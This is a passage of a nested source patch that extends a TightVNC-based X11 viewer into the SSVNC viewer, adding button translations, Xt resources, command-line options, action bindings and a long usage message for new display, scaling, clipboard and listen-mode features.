-+ "*quality*button4.type: toggle",
-+ "*quality*button4.translations: #override\\n\
-+ <Visible>: SetQualityState(4)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(4) HideQuality()",
-+
-+ "*quality*button5.label: 5",
-+ "*quality*button5.type: toggle",
-+ "*quality*button5.translations: #override\\n\
-+ <Visible>: SetQualityState(5)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(5) HideQuality()",
-+
-+ "*quality*button6.label: 6",
-+ "*quality*button6.type: toggle",
-+ "*quality*button6.translations: #override\\n\
-+ <Visible>: SetQualityState(6)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(6) HideQuality()",
-+
-+ "*quality*button7.label: 7",
-+ "*quality*button7.type: toggle",
-+ "*quality*button7.translations: #override\\n\
-+ <Visible>: SetQualityState(7)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(7) HideQuality()",
-+
-+ "*quality*button8.label: 8",
-+ "*quality*button8.type: toggle",
-+ "*quality*button8.translations: #override\\n\
-+ <Visible>: SetQualityState(8)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(8) HideQuality()",
-+
-+ "*quality*button9.label: 9",
-+ "*quality*button9.type: toggle",
-+ "*quality*button9.translations: #override\\n\
-+ <Visible>: SetQualityState(9)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(9) HideQuality()",
-+
-+ "*compress*buttonD.label: Dismiss",
-+ "*compress*buttonD.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HideCompress()",
-+
-+ "*compress*button0.label: 0",
-+ "*compress*button0.translations: #override\\n\
-+ <Visible>: SetCompressState(0)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(0) HideCompress()",
-+
-+ "*compress*button1.label: 1",
-+ "*compress*button1.translations: #override\\n\
-+ <Visible>: SetCompressState(1)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(1) HideCompress()",
-+
-+ "*compress*button2.label: 2",
-+ "*compress*button2.translations: #override\\n\
-+ <Visible>: SetCompressState(2)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(2) HideCompress()",
-+
-+ "*compress*button3.label: 3",
-+ "*compress*button3.translations: #override\\n\
-+ <Visible>: SetCompressState(3)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(3) HideCompress()",
-+
-+ "*compress*button4.label: 4",
-+ "*compress*button4.translations: #override\\n\
-+ <Visible>: SetCompressState(4)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(4) HideCompress()",
-+
-+ "*compress*button5.label: 5",
-+ "*compress*button5.translations: #override\\n\
-+ <Visible>: SetCompressState(5)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(5) HideCompress()",
-+
-+ "*compress*button6.label: 6",
-+ "*compress*button6.translations: #override\\n\
-+ <Visible>: SetCompressState(6)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(6) HideCompress()",
-+
-+ "*compress*button7.label: 7",
-+ "*compress*button7.translations: #override\\n\
-+ <Visible>: SetCompressState(7)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(7) HideCompress()",
-+
-+ "*compress*button8.label: 8",
-+ "*compress*button8.translations: #override\\n\
-+ <Visible>: SetCompressState(8)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(8) HideCompress()",
-+
-+ "*compress*button9.label: 9",
-+ "*compress*button9.translations: #override\\n\
-+ <Visible>: SetCompressState(9)\\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(9) HideCompress()",
-+
- NULL
- };
-
-@@ -124,7 +697,7 @@
- * from a dialog box.
- */
-
--char vncServerHost[256];
-+char vncServerHost[1024];
- int vncServerPort = 0;
-
-
-@@ -135,6 +708,7 @@
- */
-
- AppData appData;
-+AppData appDataNew;
-
- static XtResource appDataResourceList[] = {
- {"shareDesktop", "ShareDesktop", XtRBool, sizeof(Bool),
-@@ -155,14 +729,44 @@
- {"userLogin", "UserLogin", XtRString, sizeof(String),
- XtOffsetOf(AppData, userLogin), XtRImmediate, (XtPointer) 0},
-
-+ {"unixPW", "UnixPW", XtRString, sizeof(String),
-+ XtOffsetOf(AppData, unixPW), XtRImmediate, (XtPointer) 0},
-+
-+ {"msLogon", "MSLogon", XtRString, sizeof(String),
-+ XtOffsetOf(AppData, msLogon), XtRImmediate, (XtPointer) 0},
-+
-+ {"repeaterUltra", "RepeaterUltra", XtRString, sizeof(String),
-+ XtOffsetOf(AppData, repeaterUltra), XtRImmediate, (XtPointer) 0},
-+
-+ {"ultraDSM", "UltraDSM", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, ultraDSM), XtRImmediate, (XtPointer) False},
-+
-+ {"acceptPopup", "AcceptPopup", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, acceptPopup), XtRImmediate, (XtPointer) False},
-+
-+ {"rfbVersion", "RfbVersion", XtRString, sizeof(String),
-+ XtOffsetOf(AppData, rfbVersion), XtRImmediate, (XtPointer) 0},
-+
- {"passwordDialog", "PasswordDialog", XtRBool, sizeof(Bool),
- XtOffsetOf(AppData, passwordDialog), XtRImmediate, (XtPointer) False},
-
- {"encodings", "Encodings", XtRString, sizeof(String),
- XtOffsetOf(AppData, encodingsString), XtRImmediate, (XtPointer) 0},
-
-- {"useBGR233", "UseBGR233", XtRBool, sizeof(Bool),
-- XtOffsetOf(AppData, useBGR233), XtRImmediate, (XtPointer) False},
-+ {"useBGR233", "UseBGR233", XtRInt, sizeof(int),
-+ XtOffsetOf(AppData, useBGR233), XtRImmediate, (XtPointer) 0},
-+
-+ {"useBGR565", "UseBGR565", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, useBGR565), XtRImmediate, (XtPointer) False},
-+
-+ {"useGreyScale", "UseGreyScale", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, useGreyScale), XtRImmediate, (XtPointer) False},
-+
-+ {"yCrop", "yCrop", XtRInt, sizeof(int),
-+ XtOffsetOf(AppData, yCrop), XtRImmediate, (XtPointer) 0},
-+
-+ {"sbWidth", "sbWidth", XtRInt, sizeof(int),
-+ XtOffsetOf(AppData, sbWidth), XtRImmediate, (XtPointer) 2},
-
- {"nColours", "NColours", XtRInt, sizeof(int),
- XtOffsetOf(AppData, nColours), XtRImmediate, (XtPointer) 256},
-@@ -179,9 +783,12 @@
- {"requestedDepth", "RequestedDepth", XtRInt, sizeof(int),
- XtOffsetOf(AppData, requestedDepth), XtRImmediate, (XtPointer) 0},
-
-- {"useSharedMemory", "UseSharedMemory", XtRBool, sizeof(Bool),
-+ {"useShm", "UseShm", XtRBool, sizeof(Bool),
- XtOffsetOf(AppData, useShm), XtRImmediate, (XtPointer) True},
-
-+ {"termChat", "TermChat", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, termChat), XtRImmediate, (XtPointer) False},
-+
- {"wmDecorationWidth", "WmDecorationWidth", XtRInt, sizeof(int),
- XtOffsetOf(AppData, wmDecorationWidth), XtRImmediate, (XtPointer) 4},
-
-@@ -191,6 +798,9 @@
- {"popupButtonCount", "PopupButtonCount", XtRInt, sizeof(int),
- XtOffsetOf(AppData, popupButtonCount), XtRImmediate, (XtPointer) 0},
-
-+ {"popupButtonBreak", "PopupButtonBreak", XtRInt, sizeof(int),
-+ XtOffsetOf(AppData, popupButtonBreak), XtRImmediate, (XtPointer) 0},
-+
- {"debug", "Debug", XtRBool, sizeof(Bool),
- XtOffsetOf(AppData, debug), XtRImmediate, (XtPointer) False},
-
-@@ -206,11 +816,13 @@
- {"bumpScrollPixels", "BumpScrollPixels", XtRInt, sizeof(int),
- XtOffsetOf(AppData, bumpScrollPixels), XtRImmediate, (XtPointer) 20},
-
-+ /* hardwired compress -1 vs . 7 */
- {"compressLevel", "CompressionLevel", XtRInt, sizeof(int),
- XtOffsetOf(AppData, compressLevel), XtRImmediate, (XtPointer) -1},
-
-+ /* hardwired quality was 6 */
- {"qualityLevel", "QualityLevel", XtRInt, sizeof(int),
-- XtOffsetOf(AppData, qualityLevel), XtRImmediate, (XtPointer) 6},
-+ XtOffsetOf(AppData, qualityLevel), XtRImmediate, (XtPointer) -1},
-
- {"enableJPEG", "EnableJPEG", XtRBool, sizeof(Bool),
- XtOffsetOf(AppData, enableJPEG), XtRImmediate, (XtPointer) True},
-@@ -218,14 +830,97 @@
- {"useRemoteCursor", "UseRemoteCursor", XtRBool, sizeof(Bool),
- XtOffsetOf(AppData, useRemoteCursor), XtRImmediate, (XtPointer) True},
-
-+ {"useCursorAlpha", "UseCursorAlpha", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, useCursorAlpha), XtRImmediate, (XtPointer) False},
-+
-+ {"useRawLocal", "UseRawLocal", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, useRawLocal), XtRImmediate, (XtPointer) False},
-+
-+ {"notty", "NoTty", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, notty), XtRImmediate, (XtPointer) False},
-+
- {"useX11Cursor", "UseX11Cursor", XtRBool, sizeof(Bool),
- XtOffsetOf(AppData, useX11Cursor), XtRImmediate, (XtPointer) False},
-
-+ {"useBell", "UseBell", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, useBell), XtRImmediate, (XtPointer) True},
-+
- {"grabKeyboard", "GrabKeyboard", XtRBool, sizeof(Bool),
-- XtOffsetOf(AppData, grabKeyboard), XtRImmediate, (XtPointer) False},
-+ XtOffsetOf(AppData, grabKeyboard), XtRImmediate, (XtPointer) True},
-
- {"autoPass", "AutoPass", XtRBool, sizeof(Bool),
-- XtOffsetOf(AppData, autoPass), XtRImmediate, (XtPointer) False}
-+ XtOffsetOf(AppData, autoPass), XtRImmediate, (XtPointer) False},
-+
-+ {"grabAll", "GrabAll", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, grabAll), XtRImmediate, (XtPointer) False},
-+
-+ {"useXserverBackingStore", "UseXserverBackingStore", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, useXserverBackingStore), XtRImmediate, (XtPointer) False},
-+
-+ {"overrideRedir", "OverrideRedir", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, overrideRedir), XtRImmediate, (XtPointer) True},
-+
-+ {"serverInput", "ServerInput", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, serverInput), XtRImmediate, (XtPointer) True},
-+
-+ {"singleWindow", "SingleWindow", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, singleWindow), XtRImmediate, (XtPointer) False},
-+
-+ {"serverScale", "ServerScale", XtRInt, sizeof(int),
-+ XtOffsetOf(AppData, serverScale), XtRImmediate, (XtPointer) 1},
-+
-+ {"chatActive", "ChatActive", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, chatActive), XtRImmediate, (XtPointer) False},
-+
-+ {"chatOnly", "ChatOnly", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, chatOnly), XtRImmediate, (XtPointer) False},
-+
-+ {"fileActive", "FileActive", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, fileActive), XtRImmediate, (XtPointer) False},
-+
-+ {"popupFix", "PopupFix", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, popupFix), XtRImmediate, (XtPointer) False},
-+
-+ {"scale", "Scale", XtRString, sizeof(String),
-+ XtOffsetOf(AppData, scale), XtRImmediate, (XtPointer) 0},
-+
-+ {"pipelineUpdates", "PipelineUpdates", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, pipelineUpdates), XtRImmediate, (XtPointer)
-+#ifdef TURBOVNC
-+ True},
-+#else
-+#if 0
-+ False},
-+#else
-+ True},
-+#endif
-+#endif
-+
-+ {"noipv4", "noipv4", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, noipv4), XtRImmediate, (XtPointer) False},
-+
-+ {"noipv6", "noipv6", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, noipv6), XtRImmediate, (XtPointer) False},
-+
-+ {"sendClipboard", "SendClipboard", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, sendClipboard), XtRImmediate, (XtPointer) False},
-+
-+ {"sendAlways", "SendAlways", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, sendAlways), XtRImmediate, (XtPointer) False},
-+
-+ {"recvText", "RecvText", XtRString, sizeof(String),
-+ XtOffsetOf(AppData, recvText), XtRImmediate, (XtPointer) 0},
-+
-+ {"appShare", "AppShare", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, appShare), XtRImmediate, (XtPointer) False},
-+
-+ {"escapeKeys", "EscapeKeys", XtRString, sizeof(String),
-+ XtOffsetOf(AppData, escapeKeys), XtRImmediate, (XtPointer) 0},
-+
-+ {"escapeActive", "EscapeActive", XtRBool, sizeof(Bool),
-+ XtOffsetOf(AppData, escapeActive), XtRImmediate, (XtPointer) False}
-+
-+ /* check commas */
- };
-
-
-@@ -242,8 +937,29 @@
- {"-noraiseonbeep", "*raiseOnBeep", XrmoptionNoArg, "False"},
- {"-passwd", "*passwordFile", XrmoptionSepArg, 0},
- {"-user", "*userLogin", XrmoptionSepArg, 0},
-+ {"-unixpw", "*unixPW", XrmoptionSepArg, 0},
-+ {"-mslogon", "*msLogon", XrmoptionSepArg, 0},
-+ {"-repeater", "*repeaterUltra", XrmoptionSepArg, 0},
-+ {"-ultradsm", "*ultraDSM", XrmoptionNoArg, "True"},
-+ {"-acceptpopup", "*acceptPopup", XrmoptionNoArg, "True"},
-+ {"-acceptpopupsc", "*acceptPopup", XrmoptionNoArg, "True"},
-+ {"-rfbversion", "*rfbVersion", XrmoptionSepArg, 0},
- {"-encodings", "*encodings", XrmoptionSepArg, 0},
-- {"-bgr233", "*useBGR233", XrmoptionNoArg, "True"},
-+ {"-bgr233", "*useBGR233", XrmoptionNoArg, "256"},
-+ {"-use64", "*useBGR233", XrmoptionNoArg, "64"},
-+ {"-bgr222", "*useBGR233", XrmoptionNoArg, "64"},
-+ {"-use8", "*useBGR233", XrmoptionNoArg, "8"},
-+ {"-bgr111", "*useBGR233", XrmoptionNoArg, "8"},
-+ {"-16bpp", "*useBGR565", XrmoptionNoArg, "True"},
-+ {"-bgr565", "*useBGR565", XrmoptionNoArg, "True"},
-+ {"-grey", "*useGreyScale", XrmoptionNoArg, "True"},
-+ {"-gray", "*useGreyScale", XrmoptionNoArg, "True"},
-+ {"-sbwidth", "*sbwidth", XrmoptionSepArg, 0},
-+ {"-env", "*envDummy", XrmoptionSepArg, 0},
-+ {"-ycrop", "*yCrop", XrmoptionSepArg, 0},
-+ {"-rawlocal", "*useRawLocal", XrmoptionNoArg, "True"},
-+ {"-notty", "*notty", XrmoptionNoArg, "True"},
-+ {"-alpha", "*useCursorAlpha", XrmoptionNoArg, "True"},
- {"-owncmap", "*forceOwnCmap", XrmoptionNoArg, "True"},
- {"-truecolor", "*forceTrueColour", XrmoptionNoArg, "True"},
- {"-truecolour", "*forceTrueColour", XrmoptionNoArg, "True"},
-@@ -253,8 +969,30 @@
- {"-nojpeg", "*enableJPEG", XrmoptionNoArg, "False"},
- {"-nocursorshape", "*useRemoteCursor", XrmoptionNoArg, "False"},
- {"-x11cursor", "*useX11Cursor", XrmoptionNoArg, "True"},
-- {"-autopass", "*autoPass", XrmoptionNoArg, "True"}
--
-+ {"-nobell", "*useBell", XrmoptionNoArg, "False"},
-+ {"-autopass", "*autoPass", XrmoptionNoArg, "True"},
-+ {"-graball", "*grabAll", XrmoptionNoArg, "True"},
-+ {"-grabkbd", "*grabKeyboard", XrmoptionNoArg, "True"},
-+ {"-nograbkbd", "*grabKeyboard", XrmoptionNoArg, "False"},
-+ {"-grabkeyboard", "*grabKeyboard", XrmoptionNoArg, "True"},
-+ {"-nograbkeyboard","*grabKeyboard", XrmoptionNoArg, "False"},
-+ {"-nooverride", "*overrideRedir", XrmoptionNoArg, "False"},
-+ {"-bs", "*useXserverBackingStore", XrmoptionNoArg, "True"},
-+ {"-nobs", "*useXserverBackingStore", XrmoptionNoArg, "False"},
-+ {"-popupfix", "*popupFix", XrmoptionNoArg, "True"},
-+ {"-noshm", "*useShm", XrmoptionNoArg, "False"},
-+ {"-termchat", "*termChat", XrmoptionNoArg, "True"},
-+ {"-chatonly", "*chatOnly", XrmoptionNoArg, "True"},
-+ {"-scale", "*scale", XrmoptionSepArg, 0},
-+ {"-appshare", "*appShare", XrmoptionNoArg, "True"},
-+ {"-escape", "*escapeKeys", XrmoptionSepArg, 0},
-+ {"-sendclipboard", "*sendClipboard", XrmoptionNoArg, "True"},
-+ {"-sendalways", "*sendAlways", XrmoptionNoArg, "True"},
-+ {"-recvtext", "*recvText", XrmoptionSepArg, 0},
-+ {"-pipeline", "*pipelineUpdates", XrmoptionNoArg, "True"},
-+ {"-nopipeline", "*pipelineUpdates", XrmoptionNoArg, "False"},
-+ {"-noipv4", "*noipv4", XrmoptionNoArg, "True"},
-+ {"-noipv6", "*noipv6", XrmoptionNoArg, "True"}
- };
-
- int numCmdLineOptions = XtNumber(cmdLineOptions);
-@@ -267,16 +1005,100 @@
- static XtActionsRec actions[] = {
- {"SendRFBEvent", SendRFBEvent},
- {"ShowPopup", ShowPopup},
-+ {"Noop", Noop},
- {"HidePopup", HidePopup},
-+ {"HideScaleN", HideScaleN},
-+ {"HideTurboVNC", HideTurboVNC},
-+ {"HideQuality", HideQuality},
-+ {"HideCompress", HideCompress},
- {"ToggleFullScreen", ToggleFullScreen},
-+ {"JumpLeft", JumpLeft},
-+ {"JumpRight", JumpRight},
-+ {"JumpUp", JumpUp},
-+ {"JumpDown", JumpDown},
- {"SetFullScreenState", SetFullScreenState},
- {"SelectionFromVNC", SelectionFromVNC},
- {"SelectionToVNC", SelectionToVNC},
- {"ServerDialogDone", ServerDialogDone},
-+ {"UserDialogDone", UserDialogDone},
-+ {"YCropDialogDone", YCropDialogDone},
-+ {"ScbarDialogDone", ScbarDialogDone},
-+ {"ScaleNDialogDone", ScaleNDialogDone},
-+ {"ScaleDialogDone", ScaleDialogDone},
- {"PasswordDialogDone", PasswordDialogDone},
- {"Pause", Pause},
- {"RunCommand", RunCommand},
- {"Quit", Quit},
-+ {"HideChat", HideChat},
-+ {"Toggle8bpp", Toggle8bpp},
-+ {"Toggle16bpp", Toggle16bpp},
-+ {"ToggleFullColor", ToggleFullColor},
-+ {"Toggle256Colors", Toggle256Colors},
-+ {"Toggle64Colors", Toggle64Colors},
-+ {"Toggle8Colors", Toggle8Colors},
-+ {"ToggleGreyScale", ToggleGreyScale},
-+ {"ToggleTightZRLE", ToggleTightZRLE},
-+ {"ToggleTightHextile", ToggleTightHextile},
-+ {"ToggleZRLEZYWRLE", ToggleZRLEZYWRLE},
-+ {"ToggleViewOnly", ToggleViewOnly},
-+ {"ToggleJPEG", ToggleJPEG},
-+ {"ToggleCursorShape", ToggleCursorShape},
-+ {"ToggleCursorAlpha", ToggleCursorAlpha},
-+ {"ToggleX11Cursor", ToggleX11Cursor},
-+ {"ToggleBell", ToggleBell},
-+ {"ToggleRawLocal", ToggleRawLocal},
-+ {"ToggleServerInput", ToggleServerInput},
-+ {"TogglePipelineUpdates", TogglePipelineUpdates},
-+ {"ToggleSendClipboard", ToggleSendClipboard},
-+ {"ToggleSendAlways", ToggleSendAlways},
-+ {"ToggleSingleWindow", ToggleSingleWindow},
-+ {"ToggleTextChat", ToggleTextChat},
-+ {"ToggleFileXfer", ToggleFileXfer},
-+ {"ToggleXGrab", ToggleXGrab},
-+ {"DoServerScale", DoServerScale},
-+ {"SetScale", SetScale},
-+ {"SetYCrop", SetYCrop},
-+ {"SetScbar", SetScbar},
-+ {"ShowScaleN", ShowScaleN},
-+ {"ShowTurboVNC", ShowTurboVNC},
-+ {"ShowQuality", ShowQuality},
-+ {"ShowCompress", ShowCompress},
-+ {"SetScaleN", SetScaleN},
-+ {"SetTurboVNC", SetTurboVNC},
-+ {"SetQuality", SetQuality},
-+ {"SetCompress", SetCompress},
-+ {"Set8bppState", Set8bppState},
-+ {"Set16bppState", Set16bppState},
-+ {"SetFullColorState", SetFullColorState},
-+ {"Set256ColorsState", Set256ColorsState},
-+ {"Set64ColorsState", Set64ColorsState},
-+ {"Set8ColorsState", Set8ColorsState},
-+ {"SetGreyScaleState", SetGreyScaleState},
-+ {"SetZRLEState", SetZRLEState},
-+ {"SetHextileState", SetHextileState},
-+ {"SetZYWRLEState", SetZYWRLEState},
-+ {"SetNOJPEGState", SetNOJPEGState},
-+ {"SetScaleNState", SetScaleNState},
-+ {"SetQualityState", SetQualityState},
-+ {"SetCompressState", SetCompressState},
-+ {"SetViewOnlyState", SetViewOnlyState},
-+ {"SetCursorShapeState", SetCursorShapeState},
-+ {"SetCursorAlphaState", SetCursorAlphaState},
-+ {"SetX11CursorState", SetX11CursorState},
-+ {"SetBellState", SetBellState},
-+ {"SetRawLocalState", SetRawLocalState},
-+ {"SetServerInputState", SetServerInputState},
-+ {"SetPipelineUpdates", SetPipelineUpdates},
-+ {"SetSendClipboard", SetSendClipboard},
-+ {"SetSendAlways", SetSendAlways},
-+ {"SetSingleWindowState", SetSingleWindowState},
-+ {"SetTextChatState", SetTextChatState},
-+ {"SetFileXferState", SetFileXferState},
-+ {"SetXGrabState", SetXGrabState},
-+ {"SetEscapeKeysState", SetEscapeKeysState},
-+ {"ToggleEscapeActive", ToggleEscapeActive},
-+ {"EscapeDialogDone", EscapeDialogDone},
-+ {"SetEscapeKeys", SetEscapeKeys}
- };
-
-
-@@ -302,11 +1124,14 @@
- void
- usage(void)
- {
-- fprintf(stderr,
-- "TightVNC viewer version 1.3dev7\n"
-+ fprintf(stdout,
-+ "SSVNC Viewer (based on TightVNC viewer version 1.3.9)\n"
- "\n"
- "Usage: %s [<OPTIONS>] [<HOST>][:<DISPLAY#>]\n"
- " %s [<OPTIONS>] [<HOST>][::<PORT#>]\n"
-+ " %s [<OPTIONS>] exec=[CMD ARGS...]\n"
-+ " %s [<OPTIONS>] fd=n\n"
-+ " %s [<OPTIONS>] /path/to/unix/socket\n"
- " %s [<OPTIONS>] -listen [<DISPLAY#>]\n"
- " %s -help\n"
- "\n"
-@@ -319,7 +1144,7 @@
- " -noraiseonbeep\n"
- " -passwd <PASSWD-FILENAME> (standard VNC authentication)\n"
- " -user <USERNAME> (Unix login authentication)\n"
-- " -encodings <ENCODING-LIST> (e.g. \"tight copyrect\")\n"
-+ " -encodings <ENCODING-LIST> (e.g. \"tight,copyrect\")\n"
- " -bgr233\n"
- " -owncmap\n"
- " -truecolour\n"
-@@ -332,10 +1157,390 @@
- " -autopass\n"
- "\n"
- "Option names may be abbreviated, e.g. -bgr instead of -bgr233.\n"
-- "See the manual page for more information."
-- "\n", programName, programName, programName, programName);
-+ "See the manual page for more information.\n"
-+ "\n"
-+ "\n"
-+ "Enhanced TightVNC viewer (SSVNC) options:\n"
-+ "\n"
-+ " URL http://www.karlrunge.com/x11vnc/ssvnc.html\n"
-+ "\n"
-+ " Note: ZRLE and ZYWRLE encodings are now supported.\n"
-+ "\n"
-+ " Note: F9 is shortcut to Toggle FullScreen mode.\n"
-+ "\n"
-+ " Note: In -listen mode set the env var. SSVNC_MULTIPLE_LISTEN=1\n"
-+ " to allow more than one incoming VNC server at a time.\n"
-+ " This is the same as -multilisten described below. Set\n"
-+ " SSVNC_MULTIPLE_LISTEN=MAX:n to allow no more than \"n\"\n"
-+ " simultaneous reverse connections.\n"
-+ "\n"
-+ " Note: If the host:port is specified as \"exec=command args...\"\n"
-+ " then instead of making a TCP/IP socket connection to the\n"
-+ " remote VNC server, \"command args...\" is executed and the\n"
-+ " viewer is attached to its stdio. This enables tunnelling\n"
-+ " established via an external command, e.g. an stunnel(8)\n"
-+ " that does not involve a listening socket. This mode does\n"
-+ " not work for -listen reverse connections.\n"
-+ "\n"
-+ " If the host:port is specified as \"fd=n\" then it is assumed\n"
-+ " n is an already opened file descriptor to the socket. (i.e\n"
-+ " the parent did fork+exec)\n"
-+ "\n"
-+ " If the host:port contains a '/' it is interpreted as a\n"
-+ " unix-domain socket (AF_LOCAL insead of AF_INET)\n"
-+ "\n"
-+ " -multilisten As in -listen (reverse connection listening) except\n"
-+ " allow more than one incoming VNC server to be connected\n"
-+ " at a time. The default for -listen of only one at a\n"
-+ " time tries to play it safe by not allowing anyone on\n"
-+ " the network to put (many) desktops on your screen over\n"
-+ " a long window of time. Use -multilisten for no limit.\n"
-+ "\n"
-+ " -acceptpopup In -listen (reverse connection listening) mode when\n"
-+ " a reverse VNC connection comes in show a popup asking\n"
-+ " whether to Accept or Reject the connection. The IP\n"
-+ " address of the connecting host is shown. Same as\n"
-+ " setting the env. var. SSVNC_ACCEPT_POPUP=1.\n"
-+ "\n"
-+ " -acceptpopupsc As in -acceptpopup except assume UltraVNC Single\n"
-+ " Click (SC) server. Retrieve User and ComputerName\n"
-+ " info from UltraVNC Server and display in the Popup.\n"
-+ "\n"
-+ " -use64 In -bgr233 mode, use 64 colors instead of 256.\n"
-+ " -bgr222 Same as -use64.\n"
-+ "\n"
-+ " -use8 In -bgr233 mode, use 8 colors instead of 256.\n"
-+ " -bgr111 Same as -use8.\n"
-+ "\n"
-+ " -16bpp If the vnc viewer X display is depth 24 at 32bpp\n"
-+ " request a 16bpp format from the VNC server to cut\n"
-+ " network traffic by up to 2X, then tranlate the\n"
-+ " pixels to 32bpp locally.\n"
-+ " -bgr565 Same as -16bpp.\n"
-+ "\n"
-+ " -grey Use a grey scale for the 16- and 8-bpp modes.\n"
-+ "\n"
-+ " -alpha Use alphablending transparency for local cursors\n"
-+ " requires: x11vnc server, both client and server\n"
-+ " must be 32bpp and same endianness.\n"
-+ "\n"
-+ " -scale str Scale the desktop locally. The string \"str\" can\n"
-+ " a floating point ratio, e.g. \"0.9\", or a fraction,\n"
-+ " e.g. \"3/4\", or WxH, e.g. 1280x1024. Use \"fit\"\n"
-+ " to fit in the current screen size. Use \"auto\" to\n"
-+ " fit in the window size. \"str\" can also be set by\n"
-+ " the env. var. SSVNC_SCALE.\n"
-+ "\n"
-+ " If you observe mouse trail painting errors, enable\n"
-+ " X11 Cursor mode (either via Popup or -x11cursor.)\n"
-+ "\n"
-+ " Note that scaling is done in software and so can be\n"
-+ " slow and requires more memory. Some speedup Tips:\n"
-+ "\n"
-+ " ZRLE is faster than Tight in this mode. When\n"
-+ " scaling is first detected, the encoding will\n"
-+ " be automatically switched to ZRLE. Use the\n"
-+ " Popup menu if you want to go back to Tight.\n"
-+ " Set SSVNC_PRESERVE_ENCODING=1 to disable this.\n"
-+ "\n"
-+ " Use a solid background on the remote side.\n"
-+ " (e.g. manually or via x11vnc -solid ...)\n"
-+ "\n"
-+ " If the remote server is x11vnc, try client\n"
-+ " side caching: x11vnc -ncache 10 ...\n"
-+ "\n"
-+ " -ycrop n Only show the top n rows of the framebuffer. For\n"
-+ " use with x11vnc -ncache client caching option\n"
-+ " to help \"hide\" the pixel cache region.\n"
-+ " Use a negative value (e.g. -1) for autodetection.\n"
-+ " Autodetection will always take place if the remote\n"
-+ " fb height is more than 2 times the width.\n"
-+ "\n"
-+ " -sbwidth n Scrollbar width for x11vnc -ncache mode (-ycrop),\n"
-+ " default is very narrow: 2 pixels, it is narrow to\n"
-+ " avoid distraction in -ycrop mode.\n"
-+ "\n"
-+ " -nobell Disable bell.\n"
-+ "\n"
-+ " -rawlocal Prefer raw encoding for localhost, default is\n"
-+ " no, i.e. assumes you have a SSH tunnel instead.\n"
-+ "\n"
-+ " -notty Try to avoid using the terminal for interactive\n"
-+ " responses: use windows for messages and prompting\n"
-+ " instead. Messages will also be printed to terminal.\n"
-+ "\n"
-+ " -sendclipboard Send the X CLIPBOARD selection (i.e. Ctrl+C,\n"
-+ " Ctrl+V) instead of the X PRIMARY selection (mouse\n"
-+ " select and middle button paste.)\n"
-+ "\n"
-+ " -sendalways Whenever the mouse enters the VNC viewer main\n"
-+ " window, send the selection to the VNC server even if\n"
-+ " it has not changed. This is like the Xt resource\n"
-+ " translation SelectionToVNC(always)\n"
-+ "\n"
-+ " -recvtext str When cut text is received from the VNC server,\n"
-+ " ssvncviewer will set both the X PRIMARY and the\n"
-+ " X CLIPBOARD local selections. To control which\n"
-+ " is set, specify 'str' as 'primary', 'clipboard',\n"
-+ " or 'both' (the default.)\n"
-+ "\n"
-+ " -graball Grab the entire X server when in fullscreen mode,\n"
-+ " needed by some old window managers like fvwm2.\n"
-+ "\n"
-+ " -popupfix Warp the popup back to the pointer position,\n"
-+ " needed by some old window managers like fvwm2.\n"
-+ " -sendclipboard Send the X CLIPBOARD selection (i.e. Ctrl+C,\n"
-+ " Ctrl+V) instead of the X PRIMARY selection (mouse\n"
-+ " select and middle button paste.)\n"
-+ "\n"
-+ " -sendalways Whenever the mouse enters the VNC viewer main\n"
-+ " window, send the selection to the VNC server even if\n"
-+ " it has not changed. This is like the Xt resource\n"
-+ " translation SelectionToVNC(always)\n"
-+ "\n"
-+ " -recvtext str When cut text is received from the VNC server,\n"
-+ " ssvncviewer will set both the X PRIMARY and the\n"
-+ " X CLIPBOARD local selections. To control which\n"
-+ " is set, specify 'str' as 'primary', 'clipboard',\n"
-+ " or 'both' (the default.)\n"
-+ "\n"
-+ " -graball Grab the entire X server when in fullscreen mode,\n"
-+ " needed by some old window managers like fvwm2.\n"
-+ "\n"
-+ " -popupfix Warp the popup back to the pointer position,\n"
-+ " needed by some old window managers like fvwm2.\n"
-+ "\n"
-+ " -grabkbd Grab the X keyboard when in fullscreen mode,\n"
-+ " needed by some window managers. Same as -grabkeyboard.\n"
-+ " -grabkbd is the default, use -nograbkbd to disable.\n"
-+ "\n"
-+ " -bs, -nobs Whether or not to use X server Backingstore for the\n"
-+ " main viewer window. The default is to not, mainly\n"
